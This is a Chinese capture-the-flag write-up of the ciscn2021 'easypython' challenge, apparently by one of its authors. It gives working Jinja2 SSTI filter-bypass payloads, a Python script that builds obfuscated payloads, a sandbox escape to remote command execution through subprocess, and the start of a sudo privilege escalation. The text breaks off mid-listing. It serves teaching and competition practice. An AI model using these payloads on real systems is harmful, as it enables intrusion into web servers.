web

ciscn2021 easypython wp

Posted by 1nhann on 2021-07-22
Page views

[toc]

很高兴本战队(NEUQRO)有幸进入ciscn2021决赛,出的web题也被主办方选中,作为b&f中唯四的web题之一在 day2 和师傅们相见,这里写个 wp,分享一下解题思路

ssti

在路由处存在 ssti

1
http://172.25.148.103:16789/{{config}}

回显 在 title

image-20210707105641929

看看都拦截了什么

1
2
3
4
5
6
{{1-1}} ===> Error 404 - nonono\{\{.*\d.*\}\} Not Found!
{{"a"}} ===> 不能直接用 "" 和 ''
{{request}} ===> Error 404 - nonono\{\{.*request.*\}\} Not Found!
{{dict(a=b,c=d)|join}} ===> Error 404 - nonono\{\{.*join.*\}\} Not Found!
{{().__class__}} ===> Error 404 - nonono\{\{.*\..*\}\} Not Found!
{{%}} ===> Error 404 - nonono\{\{.*%.*\}\} Not Found!
  • 挖一下 jinja2 的各个api ,发现 slice 别有洞天
1
{{dict(hello=a)|slice(1)|first|first}}

这个 payload 是能得到 hello 这个字符串的

  • 但是数字被拦截了,要构造数字,于是用 count
1
{{dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count}}

这个payload 能够得到一个 int类型的数字1

  • 组合在一起就能得到一个字符
1
{{dict(hello=a)|slice((dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count))|first|first}}

得到

1
Error 404 - hello Not Found!

考虑到字符串中可能出现一些特殊字符

数字,比如-9

1
{{(dict(aa=a)|lower|list|count-dict(aaaaaaaaaaa=a)|lower|list|count)|string}}

先写个脚本用来处理只含有 a-zA-Z0-9 的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def generate_SPECIAL(payload):
r = re.findall('\"[^"]*\"' , payload)
while r:
r = r[0]
a = list(r)[1:-1]
payload = payload.replace(r , "dict("+"".join(a)+"=a)|slice(1)|first|first")
r = re.findall('\"[^"]*\"' , payload)

r = re.findall('\(\d+\)' , payload)
while r:
r = r[0]
a = int(r[1:-1])
payload = payload.replace(r , "(dict("+(a+1)*"a"+"=a)|lower|list|count-dict(a=a)|lower|list|count)")
r = re.findall('\(\d+\)' , payload)

r = re.findall('\[\d+\]' , payload)
while r:
r = r[0]
a = int(r[1:-1])
payload = payload.replace(r , "[dict("+(a+1)*"a"+"=a)|lower|list|count-dict(a=a)|lower|list|count]")
r = re.findall('\[\d+\]' , payload)

p = urllib.parse.quote("{{"+payload+"}}")
p1 = "{{"+payload+"}}"
print(p1)
return payload

如果我想要 app|attr("__doc__")|list ,跑一下这个脚本

image-20210707111850949

1
{{app|attr(dict(__doc__=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)|list}}

image-20210707112003887

可以看到成功把 app.__doc__ 整成了一个 list 回显了,其中有 一些特殊字符可以用,比如 >. ,还有 空格

写个脚本处理一下返回值,得到 特殊字符在 list 中的下标

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import html
url = "http://127.0.0.1:16789/"
SPECIAL = dict()
m = '(app|attr("__doc__")|list)'
m1 = "{{" + generate_SPECIAL(m) + "}}"
resp = requests.get(url=url + m1)
r = re.findall("\[.*\]",resp.text)

r = eval(html.unescape(r[0]))
SPECIAL[">"] = generate_SPECIAL(m + '|attr("pop")({})'.format(str(r.index(">"))))
SPECIAL["."] = generate_SPECIAL(m + '|attr("pop")({})'.format(str(r.index("."))))
SPECIAL[" "] = generate_SPECIAL(m + '|attr("pop")({})'.format(str(r.index(" "))))
SPECIAL["="] = generate_SPECIAL(m + '|attr("pop")({})'.format(str(r.index("="))))

最终得到结果

1
2
3
4
SPECIAL = {'>': '(app|attr(dict(__doc__=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)|list)|attr(dict(pop=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|lower|list|count-dict(a=a)|lower|list|count)',
'.': '(app|attr(dict(__doc__=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)|list)|attr(dict(pop=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|lower|list|count-dict(a=a)|lower|list|count)',
' ': '(app|attr(dict(__doc__=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)|list)|attr(dict(pop=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)(dict(aaaa=a)|lower|list|count-dict(a=a)|lower|list|count)',
'=': '(app|attr(dict(__doc__=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)|list)|attr(dict(pop=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|lower|list|count-dict(a=a)|lower|list|count)'}

同理,在 ().__doc__ 中可以得到 - ,在 config.__doc__ 中可以得到 /

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import html
url = "http://127.0.0.1:16789/"

m = '(()|attr("__doc__")|list)'
m1 = "{{" + generate_SPECIAL(m) + "}}"
resp = requests.get(url=url + m1)
r = re.findall("\[.*\]",resp.text)
r = eval(html.unescape(r[0]))
SPECIAL["-"] = generate_SPECIAL(m + '|attr("pop")({})'.format(str(r.index("-"))))


m = '(config|attr("__doc__")|list)'
m1 = "{{" + generate_SPECIAL(m) + "}}"
resp = requests.get(url=url + m1)
r = re.findall("\[.*\]",resp.text)
r = eval(html.unescape(r[0]))
SPECIAL["/"] = generate_SPECIAL(m + '|attr("pop")({})'.format(str(r.index("/"))))

最终得到 所有 特殊字符的对应 payload

1
2
3
4
5
6
SPECIAL = {'>': '(app|attr(dict(__doc__=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)|list)|attr(dict(pop=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|lower|list|count-dict(a=a)|lower|list|count)',
'.': '(app|attr(dict(__doc__=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)|list)|attr(dict(pop=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|lower|list|count-dict(a=a)|lower|list|count)',
' ': '(app|attr(dict(__doc__=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)|list)|attr(dict(pop=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)(dict(aaaa=a)|lower|list|count-dict(a=a)|lower|list|count)',
'=': '(app|attr(dict(__doc__=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)|list)|attr(dict(pop=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|lower|list|count-dict(a=a)|lower|list|count)',
'-': '(()|attr(dict(__doc__=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)|list)|attr(dict(pop=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)(dict(aaaaaa=a)|lower|list|count-dict(a=a)|lower|list|count)',
'/': '(config|attr(dict(__doc__=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)|list)|attr(dict(pop=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|lower|list|count-dict(a=a)|lower|list|count)'}

然后写个通用的处理 payload 的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def polish_payload(payload):
"""
先把 "" 之间的内容分成一个个字符,拼接到一起,其中特殊字符[",","."," ","-",">","/","="] 单独生成,这些字符从 app.__doc__ 和 ().__doc__ 还有 config.__doc__ 中得到
然后 寻找 [数字] 和 (数字),把其中的数字替换掉
"""
global SPECIAL

r = re.findall('\"[^"]*\"' , payload)
while r:
r = r[0]
a = list(r)[1:-1]

b = []
for i in a:
if i in SPECIAL.keys():
b.append(SPECIAL[i])
elif i in list("0123456789"):
b.append("((dict("+(int(i)+1)*"a"+"=a)|lower|list|count-dict(a=a)|lower|list|count)|string)")
else:
b.append("(dict("+i+"=a)|slice(1)|first|first)")

payload = payload.replace(r , "~".join(b))
r = re.findall('\"[^"]*\"' , payload)

r = re.findall('\(\d+\)' , payload)
while r:
r = r[0]
a = int(r[1:-1])
payload = payload.replace(r , "(dict("+(a+1)*"a"+"=a)|lower|list|count-dict(a=a)|lower|list|count)")
r = re.findall('\(\d+\)' , payload)

r = re.findall('\[\d+\]' , payload)
while r:
r = r[0]
a = int(r[1:-1])
payload = payload.replace(r , "[dict("+(a+1)*"a"+"=a)|lower|list|count-dict(a=a)|lower|list|count]")
r = re.findall('\[\d+\]' , payload)


p = urllib.parse.quote("{{"+payload+"}}")
p1 = "{{"+payload+"}}"
return p

python 沙箱逃逸

然后就可以尝试去 rce 了

1
((()|attr("__class__")|attr("__mro__"))[1]|attr("__subclasses__")())

image-20210707114108163

写个脚本配合一下

1
2
3
4
5
6
7
8
9
import requests
import html
url = "http://127.0.0.1:16789/"
payload = '((()|attr("__class__")|attr("__mro__"))[1]|attr("__subclasses__")())'
payload = polish_payload(payload)
resp = requests.get(url=url + payload)
r = re.findall("\[.*\]",resp.text)
r = html.unescape(r[0])
r

image-20210707114532352

接下来要从这些模块中个 能用 __builtins__ 的模块

可以先写个脚本挑出 python2 和 python3 中哪些标准模块里面有 os__builtins__ 或者 sys 能用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# coding=utf-8
"""
找python2 和 python3 中哪些标准模块里面导入了 os 或者 sys 或者 __builtins__
"""

all_modules_2 = [
'BaseHTTPServer', 'imaplib', 'shelve', 'Bastion', 'anydbm', 'imghdr', 'shlex', 'CDROM', 'argparse', 'imp', 'shutil', 'CGIHTTPServer', 'array', 'importlib', 'signal', 'Canvas', 'ast', 'imputil', 'site', 'ConfigParser', 'asynchat', 'inspect', 'sitecustomize', 'Cookie', 'asyncore', 'io', 'smtpd', 'DLFCN', 'atexit', 'itertools', 'smtplib', 'Dialog', 'audiodev', 'json', 'sndhdr', 'DocXMLRPCServer', 'audioop', 'keyword', 'socket', 'FileDialog', 'base64', 'lib2to3', 'spwd', 'FixTk', 'bdb', 'linecache', 'sqlite3', 'HTMLParser', 'binascii', 'linuxaudiodev', 'sre', 'IN', 'binhex', 'locale', 'sre_compile', 'MimeWriter', 'bisect', 'logging', 'sre_constants', 'Queue', 'bsddb', 'lsb_release', 'sre_parse', 'ScrolledText', 'bz2', 'macpath', 'ssl', 'SimpleDialog', 'cPickle', 'macurl2path', 'stat', 'SimpleHTTPServer', 'cProfile', 'mailbox', 'statvfs', 'SimpleXMLRPCServer', 'cStringIO', 'mailcap', 'string', 'SocketServer', 'calendar', 'markupbase', 'stringold', 'StringIO', 'cgi', 'marshal', 'stringprep', 'TYPES', 'cgitb', 'math', 'strop', 'Tix', 'chunk', 'md5', 'struct', 'Tkconstants', 'cmath', 'mhlib', 'subprocess', 'Tkdnd', 'cmd', 'mimetools', 'sunau', 'Tkinter', 'code', 'mimetypes', 'sunaudio', 'UserDict', 'codecs', 'mimify', 'symbol', 'UserList', 'codeop', 'mmap', 'symtable', 'UserString', 'collections', 'modulefinder', 'sys', '_LWPCookieJar', 'colorsys', 'multifile', 'sysconfig', '_MozillaCookieJar', 'commands', 'multiprocessing', 'syslog', '__builtin__', 'compileall', 'mutex', 'tabnanny', '__future__', 'compiler', 'netrc', 'talloc', '_abcoll', 'contextlib', 'new', 'tarfile', '_ast', 'cookielib', 'nis', 'telnetlib', '_bisect', 'copy', 'nntplib', 'tempfile', '_bsddb', 'copy_reg', 'ntpath', 'termios', '_codecs', 'crypt', 'nturl2path', 'test', '_codecs_cn', 'csv', 'numbers', 'textwrap', '_codecs_hk', 'ctypes', 'opcode', '_codecs_iso2022', 'curses', 'operator', 'thread', '_codecs_jp', 'datetime', 'optparse', 'threading', '_codecs_kr', 'dbhash', 'os', 'time', '_codecs_tw', 'dbm', 'os2emxpath', 'timeit', '_collections', 'decimal', 'ossaudiodev', 'tkColorChooser', '_csv', 'difflib', 'parser', 'tkCommonDialog', '_ctypes', 'dircache', 'pdb', 'tkFileDialog', '_ctypes_test', 'dis', 'pickle', 'tkFont', '_curses', 'distutils', 'pickletools', 'tkMessageBox', '_curses_panel', 'doctest', 'pipes', 'tkSimpleDialog', '_elementtree', 'dumbdbm', 'pkgutil', 'toaiff', '_functools', 'dummy_thread', 'platform', 'token', '_hashlib', 'dummy_threading', 'plistlib', 'tokenize', '_heapq', 'email', 'popen2', 'trace', '_hotshot', 'encodings', 'poplib', 'traceback', '_io', 'ensurepip', 'posix', 'ttk', '_json', 'errno', 'posixfile', 'tty', '_locale', 'exceptions', 'posixpath', 'turtle', '_lsprof', 'fcntl', 'pprint', 'types', '_md5', 'filecmp', 'profile', 'unicodedata', '_multibytecodec', 'fileinput', 'pstats', 'unittest', '_multiprocessing', 'fnmatch', 'pty', 'urllib', '_osx_support', 'formatter', 'pwd', 'urllib2', '_pyio', 'fpformat', 'py_compile', 'urlparse', '_random', 'fractions', 'pyclbr', 'user', '_sha', 'ftplib', 'pydoc', 'uu', '_sha256', 'functools', 'pydoc_data', 'uuid', '_sha512', 'future_builtins', 'pyexpat', 'warnings', '_socket', 'gc', 'quopri', 'wave', '_sqlite3', 'genericpath', 'random', 'weakref', '_sre', 'getopt', 're', 'webbrowser', '_ssl', 'getpass', 'readline', 'whichdb', '_strptime', 'gettext', 'repr', 'wsgiref', '_struct', 'glob', 'resource', 'xdrlib', '_symtable', 'grp', 'rexec', 'xml', '_sysconfigdata', 'gzip', 'rfc822', 'xmllib', '_sysconfigdata_nd', 'hashlib', 'rlcompleter', 'xmlrpclib', '_testcapi', 'heapq', 'robotparser', 'xxsubtype', '_threading_local', 'hmac', 'runpy', 'zipfile', '_warnings', 'hotshot', 'sched', 'zipimport', '_weakref', 'htmlentitydefs', 'select', 'zlib', '_weakrefset', 'htmllib', 'sets', 'abc', 'httplib', 'sgmllib', 'aifc', 'ihooks', 'sha'
]

all_modules_3 = [
'AptUrl', 'hmac', 'requests_unixsocket', 'CommandNotFound', 'apport', 'hpmudext', 'resource', 'Crypto', 'apport_python_hook', 'html', 'rlcompleter', 'DistUpgrade', 'apt', 'http', 'runpy', 'HweSupportStatus', 'apt_inst', 'httplib2', 'scanext', 'LanguageSelector', 'apt_pkg', 'idna', 'sched', 'NvidiaDetector', 'aptdaemon', 'imaplib', 'secrets', 'PIL', 'aptsources', 'imghdr', 'secretstorage', 'Quirks', 'argparse', 'imp', 'select', 'UbuntuDrivers', 'array', 'importlib', 'selectors', 'UbuntuSystemService', 'asn1crypto', 'inspect', 'shelve', 'UpdateManager', 'ast', 'io', 'shlex', '__future__', 'asynchat', 'ipaddress', 'shutil', '_ast', 'asyncio', 'itertools', 'signal', '_asyncio', 'asyncore', 'janitor', 'simplejson', '_bisect', 'atexit', 'json', 'site', '_blake2', 'audioop', 'keyring', 'sitecustomize', '_bootlocale', 'base64', 'keyword', 'six', '_bz2', 'bdb', 'language_support_pkgs', 'smtpd', '_cffi_backend', 'binascii', 'launchpadlib', 'smtplib', '_codecs', 'binhex', 'linecache', 'sndhdr', '_codecs_cn', 'bisect', 'locale', 'socket', '_codecs_hk', 'brlapi', 'logging', 'socketserver', '_codecs_iso2022', 'builtins', 'louis', 'softwareproperties', '_codecs_jp', 'bz2', 'lsb_release', 'speechd', '_codecs_kr', 'cProfile', 'lzma', 'speechd_config', '_codecs_tw', 'cairo', 'macaroonbakery', 'spwd', '_collections', 'calendar', 'macpath', 'sqlite3', '_collections_abc', 'certifi', 'macurl2path', 'sre_compile', '_compat_pickle', 'cgi', 'mailbox', 'sre_constants', '_compression', 'cgitb', 'mailcap', 'sre_parse', '_crypt', 'chardet', 'mako', 'ssl', '_csv', 'chunk', 'markupsafe', 'stat', '_ctypes', 'cmath', 'marshal', 'statistics', '_ctypes_test', 'cmd', 'math', 'string', '_curses', 'code', 'mimetypes', 'stringprep', '_curses_panel', 'codecs', 'mmap', 'struct', '_datetime', 'codeop', 'modual_test', 'subprocess', '_dbm', 'collections', 'modulefinder', 'sunau', '_dbus_bindings', 'colorsys', 'multiprocessing', 'symbol', '_dbus_glib_bindings', 'compileall', 'nacl', 'symtable', '_decimal', 'concurrent', 'netrc', 'sys', '_dummy_thread', 'configparser', 'nis', 'sysconfig', '_elementtree', 'contextlib', 'nntplib', 'syslog', '_functools', 'copy', 'ntpath', 'systemd', '_gdbm', 'copyreg', 'nturl2path', 'tabnanny', '_hashlib', 'crypt', 'numbers', 'tarfile', '_heapq', 'cryptography', 'oauth', 'telnetlib', '_imp', 'csv', 'olefile', 'tempfile', '_io', 'ctypes', 'opcode', 'termios', '_json', 'cups', 'operator', 'test', '_locale', 'cupsext', 'optparse', 'textwrap', '_lsprof', 'cupshelpers', 'orca', '_lzma', 'curses', 'os', 'threading', '_markupbase', 'datetime', 'ossaudiodev', 'time', '_md5', 'dbm', 'parser', 'timeit', '_multibytecodec', 'dbus', 'pathlib', 'token', '_multiprocessing', 'deb822', 'pcardext', 'tokenize', '_opcode', 'debconf', 'pdb', 'trace', '_operator', 'debian', 'pexpect', 'traceback', '_osx_support', 'debian_bundle', 'pickle', 'tracemalloc', '_pickle', 'decimal', 'pickletools', 'tty', '_posixsubprocess', 'defer', 'pipes', 'turtle', '_pydecimal', 'difflib', 'pkg_resources', 'types', '_pyio', 'dis', 'pkgutil', 'typing', '_random', 'distro_info', 'platform', 'ufw', '_sha1', 'distro_info_test', 'plistlib', 'unicodedata', '_sha256', 'distutils', 'poplib', 'unittest', '_sha3', 'doctest', 'posix', 'urllib', '_sha512', 'dummy_threading', 'posixpath', 'urllib3', '_signal', 'email', 'pprint', 'usbcreator', '_sitebuiltins', 'encodings', 'problem_report', 'uu', '_socket', 'enum', 'profile', 'uuid', '_sqlite3', 'errno', 'pstats', 'venv', '_sre', 'faulthandler', 'pty', 'wadllib', '_ssl', 'fcntl', 'ptyprocess', 'warnings', '_stat', 'filecmp', 'pwd', 'wave', '_string', 'fileinput', 'py_compile', 'weakref', '_strptime', 'fnmatch', 'pyatspi', 'webbrowser', '_struct', 'formatter', 'pyclbr', 'wsgiref', '_symtable', 'fractions', 'pydoc', 'xdg', '_sysconfigdata_m_linux_x86_64-linux-gnu', 'ftplib', 'pydoc_data', 'xdrlib', '_testbuffer', 'functools', 'pyexpat', 'xkit', '_testcapi', 'gc', 'pygtkcompat', 'xml', '_testimportmultiple', 'genericpath', 'pymacaroons', 'xmlrpc', '_testmultiphase', 'getopt', 'pyrfc3339', 'xxlimited', '_thread', 'getpass', 'pytz', 'xxsubtype', '_threading_local', 'gettext', 'queue', 'yaml', '_tracemalloc', 'gi', 'quopri', 'zipapp', '_warnings', 'glob', 'random', 'zipfile', '_weakref', 'grp', 're', 'zipimport', '_weakrefset', 'gtweak', 'readline', 'zlib', '_yaml', 'gzip', 'reportlab', 'zope', 'abc', 'hashlib', 'reprlib', 'aifc', 'heapq'
]


modules = ['os', 'sys', '__builtins__']

def find_os_sys_builins(v):
global all_modules_2,all_modules_3
results = {}
for module in eval("all_modules_" + str(v)):
results[module] = []
try:
m = __import__(module)
attrs = dir(m)
for want in modules:
if want in attrs:
results[module].append(want)
except Exception as e:
print(e)

for m,r in results.items():
if r:
print("[+]" + m)
print(" " + str(r))
print("")
import sys
v = 2 if sys.argv[0].endswith("2") else 3
find_os_sys_builins(v)

执行

1
2
python3 find_os_sys_builtins.py > py3.txt
python2 find_os_sys_builtins.py > py2.txt

随便挑一个 py2 和 py3 中都有的,且能用 __buitins__的模块

image-20210707115140910

1
2
[+]hmac
['__builtins__']

稍微改一下脚本,把 hmac 在 返回的那些 模块中的下标

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import html
url = "http://127.0.0.1:16789/"
payload = '((()|attr("__class__")|attr("__mro__"))[1]|attr("__subclasses__")())'
payload = polish_payload(payload)
resp = requests.get(url=url + payload)
r = re.findall("\[.*\]",resp.text)
r = html.unescape(r[0])
r = r.split(",")
for i in r:
if "hmac" in i:
print(r.index(i))
break

image-20210707115910016

试验一下,确实330 可以得到 __builtins__

1
2
3
4
5
6
7
import requests
import html
url = "http://127.0.0.1:16789/"
payload = '(((()|attr("__class__")|attr("__mro__"))[1]|attr("__subclasses__")())[330]|attr("__init__")|attr("__globals__"))["__builtins__"]'
payload = polish_payload(payload)
resp = requests.get(url=url + payload)
print(resp.text)

试试看 rce

1
2
3
4
5
6
7
8
import requests
import html
url = "http://127.0.0.1:16789/"
payload = '(((()|attr("__class__")|attr("__mro__"))[1]|attr("__subclasses__")())[330]|attr("__init__")|attr("__globals__"))["__builtins__"]["eval"]("__import__")("os")'
payload = polish_payload(payload)
resp = requests.get(url=url + payload)
r = html.unescape(resp.text)
r

image-20210707120739788

可以看到 os 模块是可以正常导入的

1
<module \'os\' from \'/usr/local/lib/python3.9/os.py\'>

但是 os.systemos.popen 都被拿掉了

image-20210707120848321

image-20210707120939079

试了试 pty,发现 pty.spawn 也被踢掉了

image-20210707121030921

尝试 subprocess ,发现 就没法正常 import

1
subprocess gone

如果 知道 subprocess.py 的位置,py3 中可以 exec 其中的内容,或者 调用 imp 模块的 load_source 函数,从而 导入 subprocess 模块

尝试导入 imp 模块

1
2
3
4
5
6
7
8
import requests
import html
url = "http://127.0.0.1:16789/"
payload = '(((()|attr("__class__")|attr("__mro__"))[1]|attr("__subclasses__")())[330]|attr("__init__")|attr("__globals__"))["__builtins__"]["eval"]("__import__")("imp")'
payload = polish_payload(payload)
resp = requests.get(url=url + payload)
r = html.unescape(resp.text)
r

确实能用,那就试试调用 imp.load_source ,猜测 subprocess.py 的位置在

1
/usr/local/lib/python3.9/subprocess.py
1
payload = '(((()|attr("__class__")|attr("__mro__"))[1]|attr("__subclasses__")())[330]|attr("__init__")|attr("__globals__"))["__builtins__"]["eval"]("__import__")("imp")|attr("load_source")("oos","/usr/local/lib/python3.9/subprocess.py")'

image-20210707121443096

成功得到 subprocess 模块

试试看 rce

1
2
3
4
5
6
7
8
import requests
import html
url = "http://127.0.0.1:16789/"
payload = '(((()|attr("__class__")|attr("__mro__"))[1]|attr("__subclasses__")())[330]|attr("__init__")|attr("__globals__"))["__builtins__"]["eval"]("__import__")("imp")|attr("load_source")("oos","/usr/local/lib/python3.9/subprocess.py")|attr("Popen")("ls",shell=True,stdout=(dict(a=a)|lower|list|count-dict(aa=a)|lower|list|count))|attr("stdout")|attr("read")()'
payload = polish_payload(payload)
resp = requests.get(url=url + payload)
r = html.unescape(resp.text)
r

实际上是调用了

1
subprocess.Popen("ls",shell=True,stdout=-1).stdout.read()

而 -1 要单独转换

1
(dict(a=a)|lower|list|count-dict(aa=a)|lower|list|count)

image-20210707122153726

linux 提权

看到有个 hint.txt

1
2
3
4
5
6
7
8
9
import requests
import html
url = "http://127.0.0.1:16789/"
payload = '(((()|attr("__class__")|attr("__mro__"))[1]|attr("__subclasses__")())[330]|attr("__init__")|attr("__globals__"))["__builtins__"]["eval"]("__import__")("imp")|attr("load_source")("oos","/usr/local/lib/python3.9/subprocess.py")|attr("Popen")("cat hint.txt",shell=True,stdout=(dict(a=a)|lower|list|count-dict(aa=a)|lower|list|count))|attr("stdout")|attr("read")()'
payload = polish_payload(payload)
resp = requests.get(url=url + payload)
r = html.unescape(resp.text)
r = re.findall("""b['"].*n['"]""",r)[0]
print(eval(r[1:]))
1
Good Job, Now Try to become dragon_lord. Maybe wait 3 years?\\nOr, Try to do some dragon_lord\'s service by yourself.\\n

image-20210707122242532

去找 flag 文件,就会发现 /flag.txt 只有 dragon_lord 用户才能访问,而当前用户是 zhuixu

image-20210707122524929

需要提权

sudo -l 一下

1
2
3
4
5
6
7
8
9
10
import requests
import html
url = "http://127.0.0.1:16789/"
payload = '(((()|attr("__class__")|attr("__mro__"))[1]|attr("__subclasses__")())[330]|attr("__init__")|attr("__globals__"))["__builtins__"]["eval"]("__import__")("imp")|attr("load_source")("oos","/usr/local/lib/python3.9/subprocess.py")|attr("Popen")("sudo -l",shell=True,stdout=(dict(a=a)|lower|list|count-dict(aa=a)|lower|list|count))|attr("stdout")|attr("read")()'
payload = polish_payload(payload)
resp = requests.get(url=url + payload)
r = html.unescape(resp.text)
# print(r)
r = re.findall("""b['"].*n['"]""",r)[0]
print(eval(r[1:]))

image-20210707123820555

1
2
3
4
5
6
Matching Defaults entries for zhuixu on 7a35cf64d548:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User zhuixu may run the following commands on 7a35cf64d548:
(dragon_lord : dragon_lord) NOPASSWD: /home/dragon_lord/Wait_3_years
(dragon_lord : dragon_lord) NOPASSWD: /usr/sbin/service

zhuixu 可以 以 dragon_lord 的身份执行 /home/dragon_lord/Wait_3_years 文件 和 /usr/sbin/service 文件

读一读这两个文件的源码

/home/dragon_lord/Wait_3_years 如下:

1
2
3
4
5
#!/bin/bash
echo 'Just wait 3 years, my lord'
sleep 94608000
echo 'Three years has come.'
/bin/bash

image-20210707123736243

这个文件没什么用,只是sleep

/usr/sbin/service 如下:

image-20210707124001020

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
